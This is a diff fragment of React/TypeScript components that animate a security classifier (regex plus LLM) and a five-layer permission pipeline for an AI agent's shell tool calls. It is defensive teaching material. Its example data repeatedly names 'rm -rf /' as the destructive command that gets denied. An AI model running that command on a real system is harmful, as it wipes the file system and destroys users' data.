{ title: "Two-Layer Pipeline", desc: "Layer 1 (regex) catches known patterns at zero cost. Layer 2 (LLM) handles the rest." },
|
||||
{ title: "Layer 1: Regex Hit", desc: "rm -rf / matches a dangerous pattern. Blocked immediately with zero API cost." },
|
||||
{ title: "Layer 1: Whitelist", desc: "ls is on the safe list. Auto-approved without reaching Layer 2." },
|
||||
{ title: "Layer 1: Miss → Escalate", desc: "curl example.com doesn't match any pattern. Escalated to Layer 2 for semantic analysis." },
|
||||
{ title: "Layer 2: LLM Classify", desc: "The LLM analyzes intent and returns a level (safe/moderate/dangerous) with a source tag." },
|
||||
{ title: "Fallback: Moderate Default", desc: "When the LLM fails (timeout, API error), it defaults to moderate → ask mode. Safe by default." },
|
||||
];
|
||||
|
||||
const COMMANDS: (string | null)[] = [
|
||||
null,
|
||||
"rm -rf /",
|
||||
"ls -la",
|
||||
"curl example.com",
|
||||
"curl example.com",
|
||||
"some-command",
|
||||
];
|
||||
|
||||
const SOURCES: (string | null)[] = [
|
||||
null, "pattern", "whitelist", null, "llm", "fallback",
|
||||
];
|
||||
|
||||
const RESULTS: (string | null)[] = [
|
||||
null, "dangerous → deny", "safe → allow", null, "moderate → ask", "moderate → ask",
|
||||
];
|
||||
|
||||
const SVG_W = 620;
|
||||
const SVG_H = 380;
|
||||
const INPUT_X = 100;
|
||||
const INPUT_Y = 60;
|
||||
const L1_X = 310;
|
||||
const L1_Y = 140;
|
||||
const L2_X = 310;
|
||||
const L2_Y = 270;
|
||||
const RESULT_X = 520;
|
||||
const RESULT_Y = 200;
|
||||
const BOX_W = 160;
|
||||
const BOX_H = 48;
|
||||
|
||||
export default function SecurityClassifier({ title }: { title?: string }) {
|
||||
const {
|
||||
currentStep,
|
||||
totalSteps,
|
||||
next,
|
||||
prev,
|
||||
reset,
|
||||
isPlaying,
|
||||
toggleAutoPlay,
|
||||
} = useSteppedVisualization({ totalSteps: STEP_INFO.length, autoPlayInterval: 2500 });
|
||||
|
||||
const palette = useSvgPalette();
|
||||
const command = COMMANDS[currentStep];
|
||||
const source = SOURCES[currentStep];
|
||||
const result = RESULTS[currentStep];
|
||||
const stepInfo = STEP_INFO[currentStep];
|
||||
|
||||
// Layer activity
|
||||
const l1Active = currentStep >= 1 && currentStep <= 3;
|
||||
const l2Active = currentStep === 4 || currentStep === 5;
|
||||
const resultActive = currentStep >= 1;
|
||||
|
||||
// L1 outcome
|
||||
const l1Hit = currentStep === 1 || currentStep === 2;
|
||||
const l1Miss = currentStep === 3;
|
||||
|
||||
return (
|
||||
<section className="min-h-[500px] space-y-4">
|
||||
<h2 className="text-xl font-semibold text-zinc-900 dark:text-zinc-100">
|
||||
{title || "Security Classifier: Regex + LLM Pipeline"}
|
||||
</h2>
|
||||
|
||||
<div className="rounded-lg border border-zinc-200 bg-white p-4 dark:border-zinc-700 dark:bg-zinc-900">
|
||||
{/* Command input */}
|
||||
<div className="mb-4 flex min-h-[32px] items-center gap-2">
|
||||
<span className="shrink-0 text-xs font-medium text-zinc-500 dark:text-zinc-400">
|
||||
Input:
|
||||
</span>
|
||||
<AnimatePresence mode="wait">
|
||||
{command && (
|
||||
<motion.code
|
||||
key={command + currentStep}
|
||||
initial={{ opacity: 0, y: -8 }}
|
||||
animate={{ opacity: 1, y: 0 }}
|
||||
exit={{ opacity: 0, y: 8 }}
|
||||
transition={{ duration: 0.3 }}
|
||||
className="rounded bg-zinc-100 px-2.5 py-1 font-mono text-xs font-medium text-zinc-800 dark:bg-zinc-800 dark:text-zinc-200"
|
||||
>
|
||||
{command}
|
||||
</motion.code>
|
||||
)}
|
||||
{!command && (
|
||||
<motion.span
|
||||
key="waiting"
|
||||
initial={{ opacity: 0 }}
|
||||
animate={{ opacity: 0.6 }}
|
||||
className="text-xs text-zinc-400 dark:text-zinc-600"
|
||||
>
|
||||
command enters pipeline...
|
||||
</motion.span>
|
||||
)}
|
||||
</AnimatePresence>
|
||||
{source && (
|
||||
<motion.span
|
||||
key={source}
|
||||
initial={{ opacity: 0 }}
|
||||
animate={{ opacity: 1 }}
|
||||
className="rounded bg-cyan-100 px-2 py-0.5 text-[10px] font-semibold text-cyan-700 dark:bg-cyan-900/40 dark:text-cyan-300"
|
||||
>
|
||||
source: {source}
|
||||
</motion.span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* SVG pipeline diagram */}
|
||||
<svg
|
||||
viewBox={`0 0 ${SVG_W} ${SVG_H}`}
|
||||
className="w-full rounded-md border border-zinc-100 bg-zinc-50 dark:border-zinc-800 dark:bg-zinc-950"
|
||||
style={{ minHeight: 280 }}
|
||||
>
|
||||
<defs>
|
||||
<filter id="sc-glow-blue">
|
||||
<feDropShadow dx="0" dy="0" stdDeviation="4" floodColor="#3b82f6" floodOpacity="0.6" />
|
||||
</filter>
|
||||
<filter id="sc-glow-amber">
|
||||
<feDropShadow dx="0" dy="0" stdDeviation="4" floodColor="#f59e0b" floodOpacity="0.6" />
|
||||
</filter>
|
||||
<filter id="sc-glow-purple">
|
||||
<feDropShadow dx="0" dy="0" stdDeviation="3" floodColor="#8b5cf6" floodOpacity="0.6" />
|
||||
</filter>
|
||||
<marker id="sc-arrow" markerWidth="8" markerHeight="6" refX="8" refY="3" orient="auto">
|
||||
<polygon points="0 0, 8 3, 0 6" fill={palette.activeEdgeStroke} />
|
||||
</marker>
|
||||
<marker id="sc-arrow-dim" markerWidth="8" markerHeight="6" refX="8" refY="3" orient="auto">
|
||||
<polygon points="0 0, 8 3, 0 6" fill={palette.arrowFill} />
|
||||
</marker>
|
||||
</defs>
|
||||
|
||||
{/* Input node */}
|
||||
<motion.rect
|
||||
x={INPUT_X - BOX_W / 2}
|
||||
y={INPUT_Y - BOX_H / 2}
|
||||
width={BOX_W}
|
||||
height={BOX_H}
|
||||
rx={8}
|
||||
strokeWidth={2}
|
||||
animate={{
|
||||
fill: currentStep > 0 ? palette.activeNodeFill : palette.nodeFill,
|
||||
stroke: currentStep > 0 ? palette.activeNodeStroke : palette.nodeStroke,
|
||||
}}
|
||||
filter={currentStep > 0 ? "url(#sc-glow-blue)" : "none"}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
<motion.text
|
||||
x={INPUT_X}
|
||||
y={INPUT_Y + 1}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={12}
|
||||
fontWeight={700}
|
||||
fontFamily="monospace"
|
||||
animate={{ fill: currentStep > 0 ? palette.activeNodeText : palette.nodeText }}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
command
|
||||
</motion.text>
|
||||
|
||||
{/* Input → L1 line */}
|
||||
<motion.line
|
||||
x1={INPUT_X + BOX_W / 2}
|
||||
y1={INPUT_Y}
|
||||
x2={L1_X - BOX_W / 2}
|
||||
y2={L1_Y}
|
||||
strokeWidth={l1Active ? 2.5 : 1.5}
|
||||
markerEnd={l1Active ? "url(#sc-arrow)" : "url(#sc-arrow-dim)"}
|
||||
animate={{ stroke: l1Active ? palette.activeEdgeStroke : palette.edgeStroke }}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
|
||||
{/* Layer 1: Regex */}
|
||||
<motion.rect
|
||||
x={L1_X - BOX_W / 2}
|
||||
y={L1_Y - BOX_H / 2}
|
||||
width={BOX_W}
|
||||
height={BOX_H}
|
||||
rx={10}
|
||||
strokeWidth={2}
|
||||
animate={{
|
||||
fill: l1Active ? "#f59e0b" : palette.nodeFill,
|
||||
stroke: l1Active ? "#d97706" : palette.nodeStroke,
|
||||
}}
|
||||
filter={l1Active ? "url(#sc-glow-amber)" : "none"}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
<motion.text
|
||||
x={L1_X}
|
||||
y={L1_Y - 6}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={11}
|
||||
fontWeight={700}
|
||||
fontFamily="monospace"
|
||||
animate={{ fill: l1Active ? "#ffffff" : palette.nodeText }}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
Layer 1: Regex
|
||||
</motion.text>
|
||||
<motion.text
|
||||
x={L1_X}
|
||||
y={L1_Y + 12}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={8}
|
||||
animate={{ fill: l1Active ? "rgba(255,255,255,0.8)" : palette.labelFill }}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
zero cost · pattern match
|
||||
</motion.text>
|
||||
|
||||
{/* L1 hit label */}
|
||||
{l1Hit && (
|
||||
<motion.g initial={{ opacity: 0 }} animate={{ opacity: 1 }} transition={{ delay: 0.3 }}>
|
||||
<rect x={L1_X + BOX_W / 2 + 8} y={L1_Y - 14} width={80} height={28} rx={6} fill="#fef2f2" stroke="#ef4444" strokeWidth={1} />
|
||||
<text x={L1_X + BOX_W / 2 + 48} y={L1_Y} textAnchor="middle" dominantBaseline="middle" fontSize={9} fontWeight={600} fill="#dc2626" fontFamily="monospace">
|
||||
{currentStep === 1 ? "PATTERN HIT" : "WHITELIST"}
|
||||
</text>
|
||||
</motion.g>
|
||||
)}
|
||||
|
||||
{/* L1 → Result (when hit) */}
|
||||
<motion.line
|
||||
x1={L1_X + BOX_W / 2}
|
||||
y1={L1_Y}
|
||||
x2={RESULT_X - BOX_W / 2}
|
||||
y2={RESULT_Y}
|
||||
strokeWidth={l1Hit ? 2.5 : 1}
|
||||
markerEnd={l1Hit ? "url(#sc-arrow)" : "url(#sc-arrow-dim)"}
|
||||
animate={{ stroke: l1Hit ? palette.activeEdgeStroke : palette.edgeStroke, opacity: l1Hit || currentStep === 0 ? 1 : 0.3 }}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
|
||||
{/* L1 → L2 line */}
|
||||
<motion.line
|
||||
x1={L1_X}
|
||||
y1={L1_Y + BOX_H / 2}
|
||||
x2={L2_X}
|
||||
y2={L2_Y - BOX_H / 2}
|
||||
strokeWidth={l1Miss || l2Active ? 2.5 : 1.5}
|
||||
markerEnd={l1Miss || l2Active ? "url(#sc-arrow)" : "url(#sc-arrow-dim)"}
|
||||
animate={{ stroke: l1Miss || l2Active ? palette.activeEdgeStroke : palette.edgeStroke, opacity: l1Miss || l2Active ? 1 : 0.4 }}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
|
||||
{/* "miss" label on L1→L2 */}
|
||||
{l1Miss && (
|
||||
<motion.g initial={{ opacity: 0 }} animate={{ opacity: 1 }} transition={{ delay: 0.2 }}>
|
||||
<rect x={L1_X + 12} y={L1_Y + BOX_H / 2 + 8} width={72} height={22} rx={5} fill="#eff6ff" stroke="#3b82f6" strokeWidth={1} />
|
||||
<text x={L1_X + 48} y={L1_Y + BOX_H / 2 + 19} textAnchor="middle" dominantBaseline="middle" fontSize={8} fontWeight={600} fill="#2563eb" fontFamily="monospace">
|
||||
ESCALATE
|
||||
</text>
|
||||
</motion.g>
|
||||
)}
|
||||
|
||||
{/* Layer 2: LLM */}
|
||||
<motion.rect
|
||||
x={L2_X - BOX_W / 2}
|
||||
y={L2_Y - BOX_H / 2}
|
||||
width={BOX_W}
|
||||
height={BOX_H}
|
||||
rx={10}
|
||||
strokeWidth={2}
|
||||
animate={{
|
||||
fill: l2Active ? "#8b5cf6" : palette.nodeFill,
|
||||
stroke: l2Active ? "#7c3aed" : palette.nodeStroke,
|
||||
}}
|
||||
filter={l2Active ? "url(#sc-glow-purple)" : "none"}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
<motion.text
|
||||
x={L2_X}
|
||||
y={L2_Y - 6}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={11}
|
||||
fontWeight={700}
|
||||
fontFamily="monospace"
|
||||
animate={{ fill: l2Active ? "#ffffff" : palette.nodeText }}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
Layer 2: LLM
|
||||
</motion.text>
|
||||
<motion.text
|
||||
x={L2_X}
|
||||
y={L2_Y + 12}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={8}
|
||||
animate={{ fill: l2Active ? "rgba(255,255,255,0.8)" : palette.labelFill }}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
~10 tokens · intent analysis
|
||||
</motion.text>
|
||||
|
||||
{/* L2 → Result line */}
|
||||
<motion.line
|
||||
x1={L2_X + BOX_W / 2}
|
||||
y1={L2_Y}
|
||||
x2={RESULT_X - BOX_W / 2}
|
||||
y2={RESULT_Y}
|
||||
strokeWidth={l2Active ? 2.5 : 1}
|
||||
markerEnd={l2Active ? "url(#sc-arrow)" : "url(#sc-arrow-dim)"}
|
||||
animate={{ stroke: l2Active ? palette.activeEdgeStroke : palette.edgeStroke, opacity: l2Active ? 1 : 0.3 }}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
|
||||
{/* Result node */}
|
||||
<motion.rect
|
||||
x={RESULT_X - BOX_W / 2}
|
||||
y={RESULT_Y - BOX_H / 2}
|
||||
width={BOX_W}
|
||||
height={BOX_H}
|
||||
rx={8}
|
||||
strokeWidth={2}
|
||||
animate={{
|
||||
fill: resultActive ? palette.endNodeFill : palette.nodeFill,
|
||||
stroke: resultActive ? palette.endNodeStroke : palette.nodeStroke,
|
||||
}}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
<motion.text
|
||||
x={RESULT_X}
|
||||
y={RESULT_Y + 1}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={12}
|
||||
fontWeight={700}
|
||||
fontFamily="monospace"
|
||||
animate={{ fill: resultActive ? palette.activeNodeText : palette.nodeText }}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
result
|
||||
</motion.text>
|
||||
|
||||
{/* Result annotation */}
|
||||
{result && (
|
||||
<motion.text
|
||||
x={RESULT_X}
|
||||
y={RESULT_Y + BOX_H / 2 + 16}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={9}
|
||||
fontWeight={600}
|
||||
fontFamily="monospace"
|
||||
initial={{ opacity: 0 }}
|
||||
animate={{ opacity: 1 }}
|
||||
transition={{ delay: 0.3 }}
|
||||
fill={currentStep === 1 ? "#ef4444" : currentStep === 2 ? "#10b981" : "#f59e0b"}
|
||||
>
|
||||
{result}
|
||||
</motion.text>
|
||||
)}
|
||||
|
||||
{/* Cost labels */}
|
||||
<text x={L1_X} y={L1_Y + BOX_H / 2 + 64} textAnchor="middle" fontSize={8} fill={palette.labelFill}>
|
||||
Cost: 0 tokens
|
||||
</text>
|
||||
<text x={L2_X} y={L2_Y + BOX_H / 2 + 64} textAnchor="middle" fontSize={8} fill={palette.labelFill}>
|
||||
Cost: ~10 tokens
|
||||
</text>
|
||||
</svg>
|
||||
|
||||
{/* Code snippet */}
|
||||
<div className="mt-3 rounded-md bg-zinc-100 px-3 py-2 dark:bg-zinc-800">
|
||||
<code className="block font-mono text-[11px] leading-relaxed text-zinc-600 dark:text-zinc-300">
|
||||
<span className="text-blue-600 dark:text-blue-400">def</span>{" "}
|
||||
<span className="text-emerald-600 dark:text-emerald-400">classify</span>(cmd):
|
||||
{"\n "}
|
||||
<span className="text-zinc-500">{"# "}</span>
|
||||
{currentStep === 1
|
||||
? "quick_scan(cmd) → dangerous (pattern match)"
|
||||
: currentStep === 2
|
||||
? "quick_scan(cmd) → safe (whitelist)"
|
||||
: currentStep === 3
|
||||
? "quick_scan(cmd) → None → escalate to LLM"
|
||||
: currentStep === 4
|
||||
? "llm_classify(cmd) → {level, source: 'llm'}"
|
||||
: currentStep === 5
|
||||
? "llm_classify failed → fallback moderate (ask)"
|
||||
: "result = quick_scan(cmd) or llm_classify(cmd)"}
|
||||
</code>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<StepControls
|
||||
currentStep={currentStep}
|
||||
totalSteps={totalSteps}
|
||||
onPrev={prev}
|
||||
onNext={next}
|
||||
onReset={reset}
|
||||
isPlaying={isPlaying}
|
||||
onToggleAutoPlay={toggleAutoPlay}
|
||||
stepTitle={stepInfo.title}
|
||||
stepDescription={stepInfo.desc}
|
||||
/>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
|
@ -0,0 +1,381 @@
|
|||
"use client";
|
||||
|
||||
import { motion, AnimatePresence } from "framer-motion";
|
||||
import { useSteppedVisualization } from "@/hooks/useSteppedVisualization";
|
||||
import { StepControls } from "@/components/visualizations/shared/step-controls";
|
||||
import { useSvgPalette } from "@/hooks/useDarkMode";
|
||||
|
||||
const LAYERS = [
|
||||
{ id: "prehook", label: "PreHook", color: "#06b6d4", desc: "Intercept before execution" },
|
||||
{ id: "classify", label: "Classify", color: "#f59e0b", desc: "Security classification" },
|
||||
{ id: "permission", label: "Permission", color: "#8b5cf6", desc: "Mode-based decision" },
|
||||
{ id: "execute", label: "Execute", color: "#10b981", desc: "Run handler or MCP" },
|
||||
{ id: "posthook", label: "PostHook", color: "#3b82f6", desc: "Post-execution hooks" },
|
||||
];
|
||||
|
||||
const STEP_INFO = [
|
||||
{ title: "The Execution Pipeline", desc: "Five layers compose into a single chokepoint. Every tool call flows through all layers." },
|
||||
{ title: "Layer 1: PreHook", desc: "Registered hooks fire before execution. They can observe, modify input, or block entirely." },
|
||||
{ title: "Layer 2: Classify", desc: "For bash commands, the two-layer classifier (regex + LLM) determines intent." },
|
||||
{ title: "Layer 3: Permission", desc: "The classification result maps to a permission mode (allow/deny/ask/edit)." },
|
||||
{ title: "Layer 4: Execute", desc: "If permitted, the tool handler or MCP server runs and produces a result." },
|
||||
{ title: "Layer 5: PostHook", desc: "Post-execution hooks fire: audit logging, notifications, cleanup." },
|
||||
{ title: "Blocked at Layer 2", desc: "rm -rf / is classified as dangerous → permission denies → execution never starts." },
|
||||
];
|
||||
|
||||
const COMMANDS: (string | null)[] = [
|
||||
null, "ls -la", "ls -la", "ls -la", "ls -la", "ls -la", "rm -rf /",
|
||||
];
|
||||
|
||||
const OUTCOMES: (string | null)[] = [
|
||||
null, null, "safe", "allow", "✓ result", "audit logged", "✗ BLOCKED",
|
||||
];
|
||||
|
||||
const SVG_W = 600;
|
||||
const SVG_H = 400;
|
||||
const PIPE_X = 200;
|
||||
const PIPE_START_Y = 50;
|
||||
const LAYER_H = 48;
|
||||
const LAYER_W = 180;
|
||||
const LAYER_GAP = 14;
|
||||
const BLOCKED_X = 450;
|
||||
const RESULT_X = 450;
|
||||
|
||||
function getLayerY(i: number): number {
|
||||
return PIPE_START_Y + i * (LAYER_H + LAYER_GAP);
|
||||
}
|
||||
|
||||
export default function SecureExtensionHarness({ title }: { title?: string }) {
|
||||
const {
|
||||
currentStep,
|
||||
totalSteps,
|
||||
next,
|
||||
prev,
|
||||
reset,
|
||||
isPlaying,
|
||||
toggleAutoPlay,
|
||||
} = useSteppedVisualization({ totalSteps: STEP_INFO.length, autoPlayInterval: 2500 });
|
||||
|
||||
const palette = useSvgPalette();
|
||||
const command = COMMANDS[currentStep];
|
||||
const outcome = OUTCOMES[currentStep];
|
||||
const stepInfo = STEP_INFO[currentStep];
|
||||
const isBlocked = currentStep === 6;
|
||||
|
||||
// Which layers are active/passed
|
||||
const activeLayer = isBlocked ? 1 : currentStep > 0 ? currentStep - 1 : -1;
|
||||
const passedLayers = isBlocked ? 1 : currentStep > 0 ? currentStep : 0;
|
||||
|
||||
return (
|
||||
<section className="min-h-[500px] space-y-4">
|
||||
<h2 className="text-xl font-semibold text-zinc-900 dark:text-zinc-100">
|
||||
{title || "Secure Extension Harness: 5-Layer Pipeline"}
|
||||
</h2>
|
||||
|
||||
<div className="rounded-lg border border-zinc-200 bg-white p-4 dark:border-zinc-700 dark:bg-zinc-900">
|
||||
{/* Command input */}
|
||||
<div className="mb-4 flex min-h-[32px] items-center gap-2">
|
||||
<span className="shrink-0 text-xs font-medium text-zinc-500 dark:text-zinc-400">
|
||||
Tool call:
|
||||
</span>
|
||||
<AnimatePresence mode="wait">
|
||||
{command && (
|
||||
<motion.code
|
||||
key={command}
|
||||
initial={{ opacity: 0, y: -8 }}
|
||||
animate={{ opacity: 1, y: 0 }}
|
||||
exit={{ opacity: 0, y: 8 }}
|
||||
transition={{ duration: 0.3 }}
|
||||
className="rounded bg-zinc-100 px-2.5 py-1 font-mono text-xs font-medium text-zinc-800 dark:bg-zinc-800 dark:text-zinc-200"
|
||||
>
|
||||
bash({command})
|
||||
</motion.code>
|
||||
)}
|
||||
{!command && (
|
||||
<motion.span
|
||||
key="waiting"
|
||||
initial={{ opacity: 0 }}
|
||||
animate={{ opacity: 0.6 }}
|
||||
className="text-xs text-zinc-400 dark:text-zinc-600"
|
||||
>
|
||||
execute_tool() waiting...
|
||||
</motion.span>
|
||||
)}
|
||||
</AnimatePresence>
|
||||
{outcome && (
|
||||
<motion.span
|
||||
key={outcome}
|
||||
initial={{ opacity: 0, x: -8 }}
|
||||
animate={{ opacity: 1, x: 0 }}
|
||||
className={`rounded px-2 py-0.5 text-[10px] font-semibold ${
|
||||
outcome.includes("BLOCKED")
|
||||
? "bg-red-100 text-red-700 dark:bg-red-900/40 dark:text-red-300"
|
||||
: outcome.includes("result")
|
||||
? "bg-emerald-100 text-emerald-700 dark:bg-emerald-900/40 dark:text-emerald-300"
|
||||
: "bg-cyan-100 text-cyan-700 dark:bg-cyan-900/40 dark:text-cyan-300"
|
||||
}`}
|
||||
>
|
||||
{outcome}
|
||||
</motion.span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* SVG pipeline */}
|
||||
<svg
|
||||
viewBox={`0 0 ${SVG_W} ${SVG_H}`}
|
||||
className="w-full rounded-md border border-zinc-100 bg-zinc-50 dark:border-zinc-800 dark:bg-zinc-950"
|
||||
style={{ minHeight: 300 }}
|
||||
>
|
||||
<defs>
|
||||
{LAYERS.map((l) => (
|
||||
<filter key={`glow-${l.id}`} id={`glow-${l.id}`}>
|
||||
<feDropShadow dx="0" dy="0" stdDeviation="3" floodColor={l.color} floodOpacity="0.6" />
|
||||
</filter>
|
||||
))}
|
||||
<filter id="se-glow-red">
|
||||
<feDropShadow dx="0" dy="0" stdDeviation="4" floodColor="#ef4444" floodOpacity="0.7" />
|
||||
</filter>
|
||||
<marker id="se-arrow" markerWidth="8" markerHeight="6" refX="8" refY="3" orient="auto">
|
||||
<polygon points="0 0, 8 3, 0 6" fill={palette.activeEdgeStroke} />
|
||||
</marker>
|
||||
<marker id="se-arrow-dim" markerWidth="8" markerHeight="6" refX="8" refY="3" orient="auto">
|
||||
<polygon points="0 0, 8 3, 0 6" fill={palette.arrowFill} />
|
||||
</marker>
|
||||
</defs>
|
||||
|
||||
{/* Vertical connection lines between layers */}
|
||||
{LAYERS.map((_, i) => {
|
||||
if (i >= LAYERS.length - 1) return null;
|
||||
const y1 = getLayerY(i) + LAYER_H / 2;
|
||||
const y2 = getLayerY(i + 1) - LAYER_H / 2;
|
||||
const isPassed = isBlocked ? i < 1 : (i < passedLayers && currentStep > 0);
|
||||
return (
|
||||
<motion.line
|
||||
key={`conn-${i}`}
|
||||
x1={PIPE_X}
|
||||
y1={y1}
|
||||
x2={PIPE_X}
|
||||
y2={y2}
|
||||
strokeWidth={isPassed ? 2.5 : 1.5}
|
||||
markerEnd={isPassed ? "url(#se-arrow)" : "url(#se-arrow-dim)"}
|
||||
animate={{ stroke: isPassed ? palette.activeEdgeStroke : palette.edgeStroke }}
|
||||
transition={{ duration: 0.3 }}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
|
||||
{/* Layer boxes */}
|
||||
{LAYERS.map((layer, i) => {
|
||||
const y = getLayerY(i);
|
||||
const isPassedThrough = isBlocked ? i === 0 : (i < passedLayers && currentStep > 0);
|
||||
const isBlockedHere = isBlocked && i === 1;
|
||||
const isActive = !isBlocked && i === activeLayer;
|
||||
|
||||
return (
|
||||
<g key={layer.id}>
|
||||
<motion.rect
|
||||
x={PIPE_X - LAYER_W / 2}
|
||||
y={y - LAYER_H / 2}
|
||||
width={LAYER_W}
|
||||
height={LAYER_H}
|
||||
rx={10}
|
||||
strokeWidth={2}
|
||||
animate={{
|
||||
fill: isBlockedHere
|
||||
? "#ef4444"
|
||||
: isPassedThrough || isActive
|
||||
? layer.color
|
||||
: palette.nodeFill,
|
||||
stroke: isBlockedHere
|
||||
? "#dc2626"
|
||||
: isPassedThrough || isActive
|
||||
? layer.color
|
||||
: palette.nodeStroke,
|
||||
}}
|
||||
filter={isBlockedHere ? "url(#se-glow-red)" : isActive || isPassedThrough ? `url(#glow-${layer.id})` : "none"}
|
||||
transition={{ duration: 0.4 }}
|
||||
/>
|
||||
<motion.text
|
||||
x={PIPE_X}
|
||||
y={y - 6}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={12}
|
||||
fontWeight={700}
|
||||
fontFamily="monospace"
|
||||
animate={{
|
||||
fill: isBlockedHere || isPassedThrough || isActive
|
||||
? "#ffffff"
|
||||
: palette.nodeText,
|
||||
}}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
{isBlockedHere ? "✗ BLOCKED" : layer.label}
|
||||
</motion.text>
|
||||
<motion.text
|
||||
x={PIPE_X}
|
||||
y={y + 12}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={8}
|
||||
animate={{
|
||||
fill: isBlockedHere || isPassedThrough || isActive
|
||||
? "rgba(255,255,255,0.8)"
|
||||
: palette.labelFill,
|
||||
}}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
{isBlockedHere ? "dangerous → deny" : layer.desc}
|
||||
</motion.text>
|
||||
</g>
|
||||
);
|
||||
})}
|
||||
|
||||
{/* Result node (right of Execute layer) */}
|
||||
<AnimatePresence>
|
||||
{currentStep >= 5 && !isBlocked && (
|
||||
<motion.g
|
||||
initial={{ opacity: 0, x: -20 }}
|
||||
animate={{ opacity: 1, x: 0 }}
|
||||
exit={{ opacity: 0 }}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
<line
|
||||
x1={PIPE_X + LAYER_W / 2}
|
||||
y1={getLayerY(3)}
|
||||
x2={RESULT_X - 40}
|
||||
y2={getLayerY(3)}
|
||||
stroke="#10b981"
|
||||
strokeWidth={2}
|
||||
markerEnd="url(#se-arrow)"
|
||||
/>
|
||||
<rect
|
||||
x={RESULT_X - 40}
|
||||
y={getLayerY(3) - 18}
|
||||
width={80}
|
||||
height={36}
|
||||
rx={8}
|
||||
fill="#10b981"
|
||||
stroke="#059669"
|
||||
strokeWidth={2}
|
||||
/>
|
||||
<text
|
||||
x={RESULT_X}
|
||||
y={getLayerY(3) + 1}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={10}
|
||||
fontWeight={700}
|
||||
fill="#ffffff"
|
||||
fontFamily="monospace"
|
||||
>
|
||||
RESULT
|
||||
</text>
|
||||
</motion.g>
|
||||
)}
|
||||
</AnimatePresence>
|
||||
|
||||
{/* Blocked indicator (right of Classify layer) */}
|
||||
<AnimatePresence>
|
||||
{isBlocked && (
|
||||
<motion.g
|
||||
initial={{ opacity: 0, x: -20 }}
|
||||
animate={{ opacity: 1, x: 0 }}
|
||||
exit={{ opacity: 0 }}
|
||||
transition={{ duration: 0.4 }}
|
||||
>
|
||||
<line
|
||||
x1={PIPE_X + LAYER_W / 2}
|
||||
y1={getLayerY(1)}
|
||||
x2={BLOCKED_X - 40}
|
||||
y2={getLayerY(1)}
|
||||
stroke="#ef4444"
|
||||
strokeWidth={2.5}
|
||||
strokeDasharray="6 3"
|
||||
markerEnd="url(#se-arrow)"
|
||||
/>
|
||||
<rect
|
||||
x={BLOCKED_X - 40}
|
||||
y={getLayerY(1) - 18}
|
||||
width={80}
|
||||
height={36}
|
||||
rx={8}
|
||||
fill="#ef4444"
|
||||
stroke="#dc2626"
|
||||
strokeWidth={2}
|
||||
/>
|
||||
<text
|
||||
x={BLOCKED_X}
|
||||
y={getLayerY(1) + 1}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={10}
|
||||
fontWeight={700}
|
||||
fill="#ffffff"
|
||||
fontFamily="monospace"
|
||||
>
|
||||
DENIED
|
||||
</text>
|
||||
</motion.g>
|
||||
)}
|
||||
</AnimatePresence>
|
||||
|
||||
{/* Layer number indicators */}
|
||||
{LAYERS.map((_, i) => {
|
||||
const y = getLayerY(i);
|
||||
return (
|
||||
<text
|
||||
key={`num-${i}`}
|
||||
x={PIPE_X - LAYER_W / 2 - 16}
|
||||
y={y + 1}
|
||||
textAnchor="middle"
|
||||
dominantBaseline="middle"
|
||||
fontSize={10}
|
||||
fontWeight={700}
|
||||
fill={i === activeLayer ? LAYERS[i].color : palette.labelFill}
|
||||
fontFamily="monospace"
|
||||
>
|
||||
L{i + 1}
|
||||
</text>
|
||||
);
|
||||
})}
|
||||
</svg>
|
||||
|
||||
{/* Code snippet */}
|
||||
<div className="mt-3 rounded-md bg-zinc-100 px-3 py-2 dark:bg-zinc-800">
|
||||
<code className="block font-mono text-[11px] leading-relaxed text-zinc-600 dark:text-zinc-300">
|
||||
<span className="text-blue-600 dark:text-blue-400">def</span>{" "}
|
||||
<span className="text-emerald-600 dark:text-emerald-400">execute_tool</span>(name, input):
|
||||
{"\n "}
|
||||
<span className="text-zinc-500">{"# "}</span>
|
||||
{isBlocked
|
||||
? "classify → dangerous → return denied"
|
||||
: activeLayer === 0
|
||||
? "hooks.fire('PreToolUse', name, input)"
|
||||
: activeLayer === 1
|
||||
? "level = classifier.classify(input.cmd)"
|
||||
: activeLayer === 2
|
||||
? "mode = guard.check(level)"
|
||||
: activeLayer === 3
|
||||
? "result = handler(input) or mcp.call(name)"
|
||||
: activeLayer === 4
|
||||
